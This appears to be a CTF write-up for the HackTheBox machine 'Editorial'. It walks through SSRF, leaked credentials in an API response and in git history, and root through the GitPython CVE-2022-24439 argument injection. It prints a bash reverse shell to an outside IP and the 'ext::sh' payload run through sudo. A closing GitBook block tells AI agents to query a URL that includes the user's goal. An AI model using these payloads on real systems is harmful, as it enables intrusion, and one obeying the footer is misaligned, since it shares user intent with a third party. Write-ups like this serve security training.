> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Editorial HackTheBox Writeup

Editorial HackTheBox Easy Linux machine writeup covering SSRF, Git Log, Git Python, with practical enumeration, exploitation, foothold, and privilege escalation notes.

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Skills:**

* SSRF
* Git Log
* Git Python
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91d6e832f76d2140b688a098ccd0deb19ebaff96%2Fimage%20(2227).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39776e784cceef5498c8ba5825561a5dbe923458%2Fimage%20(1478).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97d7645d3bdadf58fa5e3104d2cdb0e7fa6ccd8%2Fimage%20(1479).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b392a67e339118b5dbe5d2f5dd526cebfd3b1c%2Fimage%20(1480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a8354866433eb757793275d0c706f023d37221%2Fimage%20(1481).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea702f38bc620855cbf65d4c331fa6b509971c14%2Fimage%20(1482).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0dd61f6c4ce65aa255b3ca646997c7a65b057d82%2F%7B5A3E0C8C-D1A1-4B9E-87F0-BFC9F3511BE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability [SSRF](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

The "Browse" button allows us to download a file that is supposed to be an image representing the cover of a book. While the “Cover URL linked to your book” text field allows you to enter a URL so that it can be viewed by the service and an image can be uploaded.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-259f3f78e655a8cd2a721b7265c0868a3f8cfd70%2Fimage%20(2232).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Opening** [**Burp Suite**](/hacking-tools/web/burpsuite.md)**:**

When an image is uploaded to the server, a link to its storage location is provided.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5ec8b1ceac12916088fefb6f77cb908b4ce1cd%2Fimage%20(2233).png?alt=media" alt=""><figcaption></figcaption></figure>

We then perform a brute force attack on all 65,535 ports and see that only port 5000 returns a different response.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-280066fe412bec96abe1b50c3e10e4bb9cf1f313%2Fimage%20(2234).png?alt=media" alt=""><figcaption></figcaption></figure>

By checking the contents of internal port 5000, we discover that it allows downloading a file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee3c513aa0a6d465c6f545582698ccff048a2526%2Fimage%20(2235).png?alt=media" alt=""><figcaption></figcaption></figure>

This file, in JSON format, lists internal APIs with their associated routes. Among them, the `message/authors` route seems particularly critical.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c34b4481608193cc7ea3c11419b877740924604%2Fimage%20(2238).png?alt=media" alt=""><figcaption></figcaption></figure>

With Burp Suite, we therefore access the file via port 5000 at the following address:

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f08219a35902676466733c842c69c19c70985fb2%2Fimage%20(2240).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2102d6cb0943845aa378bdf9dbd1e9321a189a47%2Fimage%20(2241).png?alt=media" alt=""><figcaption></figcaption></figure>

In this file we also find a clear user and password `dev:dev080217_devAPI!@`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2765810dd3026cc971f04f81fbba9b0fdd72b2a%2Fimage%20(2242).png?alt=media" alt=""><figcaption></figcaption></figure>

We then try to connect to `SSH` via port 22, which is open, and succeed in obtaining the user flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f65bef1b601852f33cd47a50b22db9b2b7dc8b%2Fimage%20(2239).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

#### After accessing the Linux server, it is recommended to run the following commands in the terminal to optimize working efficiency and comfort:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

By navigating to the root of the system, we see the presence of two users: **dev** and **prod**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-942393463689becb05c753d2ea1f18cfdb44b238%2Fimage%20(1465).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

The user **dev** has two visible folders and one hidden folder named "git". By running the `git log` command, we observe two distinct commits.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26287b00d35326f41d505a0f6da3ddb10f96431c%2Fimage%20(1464).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c30a3c7411c2478a3ba83af9bb58752dea275271%2Fimage%20(1466).png?alt=media" alt=""><figcaption></figcaption></figure>

Among these commits, the password of the user **prod** appears in plain text: `prod:080217_Producti0n_2023!@`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f13dc1e16dcc6da452cd1d0052b19db00cc3ce9%2Fimage%20(1467).png?alt=media" alt=""><figcaption></figcaption></figure>

We then log in via SSH as user **prod**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2fcaa65a841b9aac04eaa5e8dbfb092bfc4df2%2Fimage%20(1468).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers:

By running the `sudo -l` command, we discover that we have the ability to run a script as **root**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd2b230bb0ff5d49a8b5ef71d7b954ebd844a10%2Fimage%20(1470).png?alt=media" alt=""><figcaption></figcaption></figure>

A vulnerable version of the Git library, identified by the `clone_from` function, is present. By displaying the list of Python packages with `pip3 list`, we notice that **GitPython 3.1.29** is installed, a version known for the vulnerability **CVE-2022-24439**, which allows the execution of arbitrary code. This flaw can be exploited as follows:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3154ff277bb9f3235fabaae18e71013083c8853%2Fimage%20(1471).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

We will create an exploit script in the temporary directory to obtain a reverse shell:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7120311cf7114d2d87bb1e0305c66a029557c355%2Fimage%20(1475).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Then on our machine we listen on port 4444 using **netcat**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce3b29b6e61a22f094b76774c66008acfd4a5203%2Fimage%20(1474).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

Finally, we run the binary with **sudo**, adding our payload:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Flag root : )

<div align="right"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9909f06029e6b08e613e66ff05f011c80d899157%2Fimage%20(1476).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30eeacca75f027f1efbe38d4438d65d7a462635a%2Fimage%20(1416).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
